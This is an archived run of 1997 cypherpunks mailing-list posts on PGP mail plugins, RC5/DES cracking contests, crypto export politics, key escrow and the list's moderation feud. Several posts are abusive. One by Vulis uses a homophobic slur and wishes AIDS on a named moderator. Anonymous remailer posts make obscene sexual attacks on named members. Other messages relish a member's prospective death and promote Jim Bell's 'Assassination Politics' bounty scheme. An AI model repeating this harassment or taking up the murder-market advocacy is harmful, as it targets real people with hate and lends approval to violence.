From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 29 Jan 1997 20:10:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cats Out of Bags
In-Reply-To: <199701292348.PAA27392@gabber.c2.net>
Message-ID: <79kB2D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


sameer <sameer@c2.net> writes:

> 	David Aaron seems to make lying out of his ass a hobby.

Look who's talking - Sandy's boss!

Please see http://www.fileita.it/webitalia/netscum/parekhs0.html for some
important information regarding Sameer, privacy, and integrity.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Wed, 29 Jan 1997 17:18:05 -0800 (PST)
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: PGPmail for Windows, Version 4.5
Message-ID: <199701300138.UAA11233@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


On 27 Jan 97 at 22:39, Alan Olsen wrote:

You wrote:

> I would like to see PGPMail support Pegusus Mail for the reason that I have
> used the crypto plug-in for Pegusus and found it inadiquate for general
> usage.

Same here. The PGP plug in was awful... (if it didn't find the key... 
and the key had to have the exact user-id you were mailing to) it 
sent it out in the clear. A serious bug.

> Pegusus's current crypto hooks do not deal well with remailers and multiple
> keys.  PGPMail does not deal with remailers as well as I would like, but it
> is far easier to use than the Pegusus solution.

Might be worth making suggestions to the Pegasus Mail team... now 
that PGPMail is out, they could 'modify' the plug-ins for Version 3.0 
(which I hear they are working on).  Since it's made in New Zealand, 
there's no ITAR/EAR problems.

As for remailers, once crypto is plugged in, a remailer plug-in with 
would work. (That's possibly an easy-enough hack too.)

An API for PGPMail you'd be a nice thing... then one can write apps 
to use it.

Rob


 

-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 29 Jan 1997 20:12:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701292009.OAA02501@manifold.algebra.com>
Message-ID: <1eLB2D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Hallam-Baker wrote:
> >
> >
> > I think that with the demise of Mr Bell and anyone running
> > a remailer there would be an end to his scheme pretty quickly.
> >
> > Society is not bound to put up with cranks and psychopaths.

And of course society needs leaders to determine exactly who the cranks and
the psychopaths are!

> > there is no right to anonymously call for murder. The authorities
> > could easily stop Bells scheme.
> >
> > The point I was making is that it is not consistent as claimed.
> >
>
> Why, death of Jim Bell from his own murder machine is a very exciting, I
> would say a very Kafkian thing to happen. I am looking forward to it. I
> even think that Jim Bell would not oppose such an outcome that much,
> since his assination bot would be such an important invention for the
> humanity. Maybe it will reverse the course of world history!

Igor, you keep misspelling "assassination" as in "talk.politics.assassination",
an unmoderated Usenet newsgroup carried by all honorable Usenet providers.

The word "assassin" actually comes from "hashish". In 1090's Ismaelites (a
Shi'ite sect) organized a terror group based in the castle of Alamut, north
of Kazwin in today's north Iran. They got funds from Iranian landowners.
Their sheikh (aka the old man of the mountain) sent suicidal fedain to kill
(assassinate) Seljuk officials and their Iranian merchant supporters.
Traditionally they got high on hashish when going on an assignment. In the
early 1100's assassins became active in Syria and Lebanon, where they
assassinated prominent Crusaders and local anti-Shi'ite landowners.

In 1256 Mongols led by Hulagu took Alamut and killed the assassins;
and in 1272 Egyptians killed off the Lebanese assassins. The Ismaelites
are still around (led by sheikh Aga Khan, a very rich guy).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Wed, 29 Jan 1997 20:47:06 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Internet, Countries, Nationalism, etc.
Message-ID: <01BC0E26.2EB9B5C0@king1-05.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	P.J. Westerhof

>Franconics...

Or Lesbonics of course,
.................................................................


le femme fatale

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Wed, 29 Jan 1997 20:53:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: [IMPORTANT] E-Cash
Message-ID: <199701300432.UAA12335@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


When Timmy C[ocksucker] May's mother gave birth to him 
after fucking with a bunch of sailors, she didn't know who 
the father was but decided to tell him that he was a 
Russian as the Russian sailor was the one who satisfied her 
the most.

        /\_./o__ Timmy C[ocksucker] May
       (/^/(_^^'
      ._.(_.)_





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 29 Jan 1997 20:42:33 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: libsln.htm -- Is Libel a Crime?
Message-ID: <199701300442.UAA01122@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:20 AM 1/29/97 -0500, aga wrote:
>On Tue, 28 Jan 1997, jim bell wrote:

>> One obvious problem with the LACK of a criminal libel statute, from the 
>> standpoint of the "government-controlling-class," or "the bigshots," is 
that 
>> it's impossible to sue (and collect from) a (comparatively) poor person for 
>> defaming him...but it's still possible to put him in jail.  Civil libel is, 
>> therefore, essentially useless to a government agent as a means of keeping 
>> the masses in line.  
>> 
>> 
>> Myself, I believe that libel should be eliminated as a cause of action in 
>> civil cases as well as it has, de facto, in the criminal area.  If 
anything, 
>> the ability to sue for libel makes things worse:  There is an illusion that 
>> this is easy and straightforward, if not economical.  It is neither.  The 
>> result is that people are actually MORE likely to believe a printed 
>> falsehood because they incorrectly assume that if it wasn't true, it 
>> couldn't be printed.

>Interesting analysis here, but remember; libel is just one kind of
>"defamation" and an action for defamation will always be actionable.

Sure about that?!?

>The constitution gives us the right to call the President a
>motherfucker any time we want to,

yes...

>and it also gives the motherfucker
>the right to sue.

While admittedly it has been a long time since I've read the entire US 
Constitution, I am not under the impression that it does what you claim.  
Could you be more specific about the particular section which does this?


>  Sueing is better than fighting in the streets.

For the LAWYERS, who are paid regardless of the outcome, that certainly 
appears to be the case.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 29 Jan 1997 20:43:26 -0800 (PST)
To: caronni@tik.ee.ethz.ch>
Subject: Re: RC5-12/32/5 contest solved
Message-ID: <199701300442.UAA01150@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:37 PM 1/28/97 -0800, stewarts@ix.netcom.com wrote:
>Any bets on whether the $5000 RC5-12/32/6 contest will be solved 
>before the www.rsa.com contest status web page is updated?  :-)
>
>Or how long before someone in the government starts talking about
>how 56 bits takes 65,000 times as long to solve as 40 bits, 
>which is 26 years for a whole building full of computers,
>and even 48 bits ought to take a month and a half for a whole
>building full of computers (or supercomputers, if they hype it up....)?


This, as I pointed out long ago, is why I didn't think a "crack the DES key" 
contest is necessarily a good idea, at least if it's ordinary 
Von-Neumann-type computers doing the searching.  It makes DES look 
artificially good.

Assuming it's possible to build a chip which tests solutions in a 
massively-pipelined mode, the 400,000 or so solutions per second tried (for 
what is probably a $2000 machine) would probably increase to 100 million per 
second per chip (at a cost of maybe $100 per chip, if implemented in 
parallel).    That's 5000 times more economical,  which would translate to a 
find in 2-3 days if the same dollars in hardware were invested.

_THAT_ is the break we should hope the media publicizes, not the one that 
will eventually happen when accomplished by PCs or Suns, etc.



Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 29 Jan 1997 20:42:45 -0800 (PST)
To: Sean Roach <cypherpunks@toad.com
Subject: Re: Fighting the cybercensor
Message-ID: <199701300442.UAA01172@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:41 AM 1/29/97 -0800, Sean Roach wrote:
>At 09:40 PM 1/27/97 -0500, Phillip M. Hallam-Baker wrote:
>>Thats because its a whacko solution that has no credibility
>>or consistency. 
>>
>>If anyone tried to set up such a market and a price went out
>>on any of the heads of state fantasized about Mr Bell would be 
>>dead as a doornail in a week.
>>
>So you're saying that the system would work.  Mr. bell would be targeted, a
>price on his head, for starting that very system.  Mr. Bell would be a
>martyr, his system being proven by his own death.  It would be some varient
>of his idea that would be used to kill him, a bounty.

Exactly correct.   I will be killed by AP, my own invention. (however, I 
will be killed for merely DESCRIBING it, not only if I started the first 
instance of it.)   Before I'd published the first part of AP, I knew and 
accepted what was going to happen.  See AP part 7, at the end, quoted here:




"Awe, that a system could be produced by a handful of people that 
would rid the world of the scourge of war, nuclear weapons, governments, and 
taxes.  Astonishment, at my realization that once started, it would cover 
the entire globe inexorably, erasing dictatorships both fascistic and 
communistic, monarchies, and even so-called "democracies," which as a 
general rule today are really just the facade of government by the special 
interests.  Joy, that it would eliminate all war, and force the dismantling 
not only of all nuclear weapons, but also all militaries, making them not 
merely redundant but also considered universally dangerous, leaving their 
"owners" no choice but to dismantle them, and in fact no reason to KEEP them!"

"Terror, too, because this system may just change almost EVERYTHING how we 
think about our current society, and even more for myself personally, the 
knowledge that there may some day be a large body of wealthy people who are 
thrown off their current positions of control of the world's governments, 
and the very-real possibility that they may look for a "villain" to blame 
for their downfall.  They will find one, in me, and at that time they will 
have the money and (thanks to me, at least partially) the means to see their 
revenge.  But I would not have published this essay if I had been unwilling 
to accept the risk."



Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 29 Jan 1997 20:11:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: c2 internet accounts
In-Reply-To: <199701292231.OAA14183@toad.com>
Message-ID: <1LmB2D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com> writes:

> Sandy Sandfort <sandfort@crl.com> writes:
>
> > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> >                           SANDY SANDFORT
> >  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
> >
> > C'punks,
> >
> > On Tue, 28 Jan 1997, Vladimir Z. Nuri wrote:
> >
> > > does c2net still offer internet accounts? I liked their
> > > offer for internet accounts with a 5 mb web site via
> > > telnet. does anyone else know of a place for cheap
> > > telnet only accounts?
> >
> > C2Net no longer offers new shell accounts and we are phasing out
> > pre-existing accounts.  We still offer virtual web hosting.
> >
> >
> >  S a n d y
> >
> > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> >
> >
> >
>
> Check out Sameer's net.scum web page for some important information on C2.
>
> ---
>
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

The above article was highly crypto- and cypher-punks relevant and not
a flame.  Sandy Sandfort tossed it in the "flames" bucket because Sameer
is Sandy's employer. Sandy won't permit any criticism of his employer on
the censored list - an obvious conflict of interest. Sandy even refers
to C2Net as royal "we".

Recall also that Sandy Sandford published an ass-licking article about
Sameer in _Wired magazine without revealing that he works for Sameer.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wiseleo@juno.com (Leonid S Knyshov)
Date: Wed, 29 Jan 1997 21:45:02 -0800 (PST)
To: mjw@VNET.IBM.COM
Subject: Re: Altavista
In-Reply-To: <199701290655.WAA21750@toad.com>
Message-ID: <19970129.213741.8646.1.wiseleo@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


Isn't it the future of internet advertising? I mean its just like Juno's
and other companies, the only ads shown to customers are those that are
relevant to their needs as submitted. Like do a search for web promotion
and you are gonna get ads of various services etc.

It is highly unlikely that detailed logs are kept since Alta-vista gets overwhelming number of hits. The way I go around all these ads is that I
use Internet Fast Find by symantec and I love it, I purchased it after
evaluating for 3 days. Sorry for commercial ;)

I think it is a good idea, no wonder doubleclick.net is one of the
leaders in advertising. You are shown only the ads that will potentially
interest you, search for shopping and you are gonna get one of those ISN
ads etc. 

I think it is a good idea FWIW.

I wouldn't think that a company such as doubleclick.net will do you any
harm.

One of my job assignments is Internet research and I search for such
variety of topics that those robots have no use on the information
submitted.

On the other hand, if I find my site on Altavista and go to it, in my referer_log I will see the entire search query and that is a valuable
marketing information, you learn about how the customer found you etc.

Well, this list isn't marketing101@anywhere.com so I am afraid I won't
bother with more thorough explation :)

I am sorry if you consider this an OFFtopic message but I am just
answering the question. 

On Wed, 29 Jan 97 01:03:35 EST mjw@VNET.IBM.COM writes:
>From:    Mark Waddington
>Subject: Altavista
>
>> However, the doubleclick.net ads appear to bear no relationship to 
>the
>> keywords being searched...
>
>Interestingly, I've just noticed over the last couple of days that the 
>in-line
>ads are directly relevant to the search words I enter. I did a search 
>yesterday
>on "Quicken" and "security" and all the in-line ads I was shown 
>referred to
>security or penetration detection products.
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 29 Jan 1997 20:11:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Physician, Heal Thyself!
In-Reply-To: <199701292028.MAA10148@toad.com>
Message-ID: <5XmB2D5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


OKSAS <oksas@asimov.montclair.edu> writes:

> On Wed, 29 Jan 1997, Sandy Sandfort wrote:
>
> > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> >                           SANDY SANDFORT
> >  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
> >
> > C'punks,
> >
> > On Wed, 29 Jan 1997, Anonymous wrote:
> >
> > > This is the stuff Sandy would presumably dump into
> > > his "not fit for True Cypherpunks" pile, except that he wrote it, and so
> > > is by definition approved.
> >
> > It was not approved for the moderated list.  I sent my comments to the
> > flames list where they belonged.  (It went to the unedited list too,
> > but that's fair game as well.)  Sorry you didn't understand that.
> >
> > > And I urge our Enlightened Leader to take his own medicine. Stop flaming
> > > the list and calling it mere commentary.
> >
> > So let me see if I've got this, this list should be open to all flamers
> > EXCEPT me?  Curious.  At any rate, I am going to take anonymous' advice.
> > I will largely refrain from addressing any of the garbage that ends up on
> > the flame and spam lists.  You guys are mostly just talking to yourselves
> > anyway.
>
> 	So how would you define a flame???  Seems more REASONABLE minds
> 	want to know????

Oksas, as you see your innocent question was classified as "flame" and
dumped into "cyperpunks-flames", as are most questions about the moderator's
abuse. Like many homosexuals, Sandy Sandford harbors a pathological hatred
of women and is always glad to shut one up. I hope he gets AIDS soon.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 29 Jan 1997 20:10:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701280301.TAA14685@toad.com>
Message-ID: <sBNB2D7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Phillip M. Hallam-Baker" <hallam@ai.mit.edu> writes:
> The Cold War was not won by the arms race, it was won in
> Eastern Europe which was never a major participant. The main
> instrument that won it was West German TV which broadcast
> pictures of supermarkets with full shelves into the homes
> of East Germans every night. The viewers could see that it
> was not mere propaganda and their relatives confirmed the
> fact. As a result the East German guards on the Berlin wall
> simply decided to leave their posts one night.

Do a lot of Americans really believe such things?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Hornbeck <rnh2@ix.netcom.com>
Date: Wed, 29 Jan 1997 21:46:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: The Politics of Export Restrictions
Message-ID: <3.0.1.32.19970129214455.00682db8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Is it possible the unreasonable crypto export restrictions are simply being
imposed at this time for the purpose of making Al Gore look good when he
runs for President in 2000?

In other words, his campaign could include promises to retract existing
crypto export restrictions established by his predecessor. The campaign
would be accompanied by slogans and rhetoric such as "export crypto, not
jobs" and the crypto/high-tech community would support Gore and the
Democratic party in droves.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 29 Jan 1997 21:50:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Passphrase security
Message-ID: <199701300550.VAA29338@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Deadwood Vilest K"arcinogen"OfTheMonth is so vile because rancid
semen is dripping from all of his orifices.

    ^ ^
   (o o) Deadwood Vilest K"arcinogen"OfTheMonth
    ( )
   \___/
    !_!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 29 Jan 1997 20:42:50 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Fighting the cybercensor
In-Reply-To: <1eLB2D2w165w@bwalk.dm.com>
Message-ID: <199701300438.WAA07297@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> ichudov@algebra.com (Igor Chudov @ home) writes:
> >
> > Why, death of Jim Bell from his own murder machine is a very exciting, I
> > would say a very Kafkian thing to happen. I am looking forward to it. I
> > even think that Jim Bell would not oppose such an outcome that much,
> > since his assination bot would be such an important invention for the
> > humanity. Maybe it will reverse the course of world history!
> 
> Igor, you keep misspelling "assassination" as in "talk.politics.assassination",
> an unmoderated Usenet newsgroup carried by all honorable Usenet providers.

No, I knew what was the correct spelling, but I like the shorter one
more. It sounds funny to me.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 29 Jan 1997 19:46:25 -0800 (PST)
To: aaron@herringn.com
Subject: Re: News report RE:RSA Data Security Conference, pointer
In-Reply-To: <199701292345.PAA16450@toad.com>
Message-ID: <Pine.GSO.3.95.970129224337.9350A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


I don't think CNET has any idea what they're talking about. Perhaps they
mean the Burns bill?

I was over at Burns' office yesterday, and Pro-CODE hasn't been
reintroduced yet -- they're looking for more co-sponsors -- so that's not
even correct.

*shrug*

I have a report on this at netlynews.com in the Afterword section, BTW.

-Declan

On Wed, 29 Jan 1997 aaron@herringn.com wrote:

> Report on RSA data security conference. Mentions 'Legislation in Congress
> could ban mandatory key storage', anyone know what they're referring to?
> 
> http://www.news.com/News/Item/0,4,7437,00.html
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Wed, 29 Jan 1997 19:46:09 -0800 (PST)
To: f_estema@alcor.concordia.ca
Subject: Re: Last nail for US crypto export policy?
In-Reply-To: <199701291937.LAA08689@toad.com>
Message-ID: <Pine.SUN.3.95.970129224646.11083J-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 29 Jan 1997 f_estema@alcor.concordia.ca wrote:
[stuff]
> 
> Incidentally, I remind you of the results of the moot court that was held 
> at one of the CFP conferences, where a GAK case was tried in front of 
> real federal judges by real lawyers. Our side lost.
> 

Um.  Actually the real judges didn't render an opinion (in public) since
they might have to rule for real someday and would probably be conflicted
out if they had ruled on the merits in a mock trial.  The opinions were by
a shadow panel of law professors, and they disagreed, 2-1. 
==
The above may have been dictated via Dragon Dictate 2.51 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 29 Jan 1997 20:58:59 -0800 (PST)
To: devnull@manifold.algebra.com
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701300442.UAA01172@mail.pacifier.com>
Message-ID: <199701300453.WAA07422@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


jim bell wrote:
> Exactly correct.   I will be killed by AP, my own invention. (however, I 
> will be killed for merely DESCRIBING it, not only if I started the first 
> instance of it.)   Before I'd published the first part of AP, I knew and 
> accepted what was going to happen.  See AP part 7, at the end, quoted here:
> 

See, Phill, I was right.

igor




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 29 Jan 1997 22:55:50 -0800 (PST)
To: Mike McNally <nowhere@erewhon.org>
Subject: Re: Sovreign Right of Lawful Access
Message-ID: <199701300655.WAA17122@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:11 PM 1/28/97 -0600, Mike McNally wrote:
>Somebody wrote:
>> 
>> This morning at the RSA keynote, David Aaron, the US Crypto 
>> ambassador quoted the "Sovreign Right of Lawful Access" as
>> something that goverments were determined to preserve.
>
>Speaking as a private indiwidual, and not as a drone in the employ
>of IBM (don't get me started on the "but wait, key recovery *isn't*
>the same as key escrow" hoo-ha), that dude scared the piss out of
>me.


I think that terminology is odd. They're getting desperate.  "Soverign Right 
of Lawful Access" doesn't state HOW DIFFICULT that "access" is to be.  
Interpreted broadly, that would outlaw any encryption even if it only 
impeded that access a tiny bit!

Or under an alternative interpretation, the mere fact that it is 
hypothetically possible to decrypt a message means that nothing (other than 
mathematical improbability) stands in the way of doing the decrypt.


Also, it didn't say SECRET ACCESS, although experience tells us that they 
(the thugs) probably assume this.  I've long pointed out that ordinary 
search warrants require informing people who are being searched, even if 
they're not home and assuming the thugs didn't trash the place the way they 
frequently like to.  

I see no reason to believe that the advent of telephone technology in the 
late 1800's should have retroactively re-written the US Constitution to make 
secret searches okay.  Technically, the Bill of Rights prohibits 
"unreasonable searches and siezures," and doesn't specifically mention the 
secrecy issue, but since (am I correct in this, Real Lawyers <tm>?) the 
practice up until that time required people searched to be informed of 
searches, a change in policy that wiretaps could be secret sounds more like 
taking advantage of a technological windfall, not "discovering" that the 
Constitution allowed something that had always before been prohibited.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ben Byer <root@bushing.plastic.crosslink.net>
Date: Wed, 29 Jan 1997 20:07:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: DES challenge status?
Message-ID: <199701300356.WAA01232@bushing.plastic.crosslink.net>
MIME-Version: 1.0
Content-Type: text


-----BEGIN PGP SIGNED MESSAGE-----

What exactly is the status of RSA's DES contest?  I understand that at
least two of the smaller contests have already been cracked, but I
haven't seen much beyond theoretical discussion on the list on the
topic of the DES contest.

What work has been started on this contest?  I am aware of Peter
Trei's excellent deskr software for win32, but at the moment it chokes
on RSA's real contest data as distributed.  Has anybody yet worked on
porting a version to x86 Linux, with nice, fast, inline assembly?

How about a keyrange-server?  This contest is so huge that any procedural
innovations will probably be much more helpful than getting an early
start.  Has anybody started work on this yet, or is everyone else
waiting for someone else to do it?

- -- 
Ben Byer    root@bushing.plastic.crosslink.net    I am not a bushing

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Version: 2.6.2

iQB1AwUBMvAb/LD5/Q37XXHFAQFxtQL/b7PeoWoO8gW0R35eOcA7yDmNOzg5IbIX
xbrWkX0D7Tnj+8BxeQkRs2lOhhB6D6V/oh7RO6zMUwbNVaPDng0vjZXEmHAUVPnL
XwSfekx47rgc43mVuXJoyval1zZuKDjE
=h76F
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Abelson <hal@hal.hpl.hp.com>
Date: Wed, 29 Jan 1997 23:09:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Best Computer School?
In-Reply-To: <5cmmnm$45@life.ai.mit.edu>
Message-ID: <9701300709.AA06440@hal.hpl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Rick Osborne <osborne@gateway.grumman.com> writes:

   The only thing I didn't have that the next MIT applicant had was money.  I
   made the mistake of letting them know that I was dirt poor and would need
   full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
   Russian front!"

Just to set the record straight, MIT's admissions is need-blind.  Lots
of things go into our admissions decisions, but whether or not an
applicant needs financial aid is not one of them.  Admissions and
financial aid are handled out of separate offices, and the people
making the admissions decisions don't even see the financial aid
requests.

One exception: We are experimenting with the possibility of
considering the amount of aid needed in the case of a few
international applicants, but even here this is only a minor
consideration for a small number of applicants.  For domestic
applicants, financial aid plays no role at all in the admissions
decision.

-- Hal Abelson





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Abelson <hal@hal.hpl.hp.com>
Date: Wed, 29 Jan 1997 23:09:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Best Computer School?
In-Reply-To: <5cmmnm$45@life.ai.mit.edu>
Message-ID: <9701300709.AA06443@hal.hpl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Rick Osborne <osborne@gateway.grumman.com> writes:

   The only thing I didn't have that the next MIT applicant had was money.  I
   made the mistake of letting them know that I was dirt poor and would need
   full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
   Russian front!"

Just to set the record straight, MIT's admissions is need-blind.  Lots
of things go into our admissions decisions, but whether or not an
applicant needs financial aid is not one of them.  Admissions and
financial aid are handled out of separate offices, and the people
making the admissions decisions don't even see the financial aid
requests.

One exception: We are experimenting with the possibility of
considering the amount of aid needed in the case of a few
international applicants, but even here this is only a minor
consideration for a small number of applicants.  For domestic
applicants, financial aid plays no role at all in the admissions
decision.

-- Hal Abelson





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <see.sig@for.address.real>
Date: Wed, 29 Jan 1997 23:00:54 -0800 (PST)
To: Ben Byer <root@bushing.plastic.crosslink.net>
Subject: Re: DES challenge status?
In-Reply-To: <199701300441.UAA22483@toad.com>
Message-ID: <32F04A93.59E2@for.address.real>
MIME-Version: 1.0
Content-Type: text/plain


Ben Byer wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> What exactly is the status of RSA's DES contest?  I understand that at
> least two of the smaller contests have already been cracked, but I
> haven't seen much beyond theoretical discussion on the list on the
> topic of the DES contest.
> 

	Two? The only publicized solution so far is the
RC5/32/12/5 solution from Ian Goldberg at Berkeley
(and independently from Germano Caronni at ETH Zürich).

	Are you saying that you know that the 48 bit RC5
contest is solved already, or are you just counting Ian's
and Germano's solutions separately?

--
Anil Das




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 29 Jan 1997 23:17:44 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: FBI=LIE
In-Reply-To: <199701291637.LAA07929@homeport.org>
Message-ID: <32F04AEB.12B7@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Adam Shostack wrote:
> http://www.nytimes.com/yr/mo/day/news/washpol/fbi-lab.html
> Login cypherpunks, password cypherpunks.
> WASHINGTON -- For decades the FBI's reputation as a crime-fighting
> agency has rested heavily on its high-tech forensic laboratory, which
> could solve baffling crimes from a speck of blood, a sliver of paint
> or the thinnest filament of human hair.
>             But an investigation by the Justice Department's inspector
> general has put the FBI laboratory, and the way the agency has
> used it, under the glare of public scrutiny. The findings, which were
> turned over to FBI officials last week, are threatening to shatter the
> image of an agency on the cutting edge of scientific sleuthing.

The L.A. Times today (Wed) ran an article telling about three top
lab people working on the OKC bombing case, and how they were moved
or scuttled due to discrepancies.  This was a new development.

You'll note also that although Fujisaki (sp?) in the 2nd O.J. trial
did not permit it to be introduced (to my knowledge), there was
evidence that a high-up FBI lab person who testified in the first
trial falsified or seriously distorted certain facts to help the
prosecution.  This may yet be pursued like the Fuhrman thing.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "P.J. Westerhof" <p.j.wester@ngi.nl>
Date: Wed, 29 Jan 1997 14:21:28 -0800 (PST)
To: Robert Hettinga <cypherpunks@toad.com
Subject: RE: Internet, Countries, Nationalism, etc.
Message-ID: <3.0.16.19970129225431.09bf60ba@popmail.rijnhaave.nl>
MIME-Version: 1.0
Content-Type: text/plain


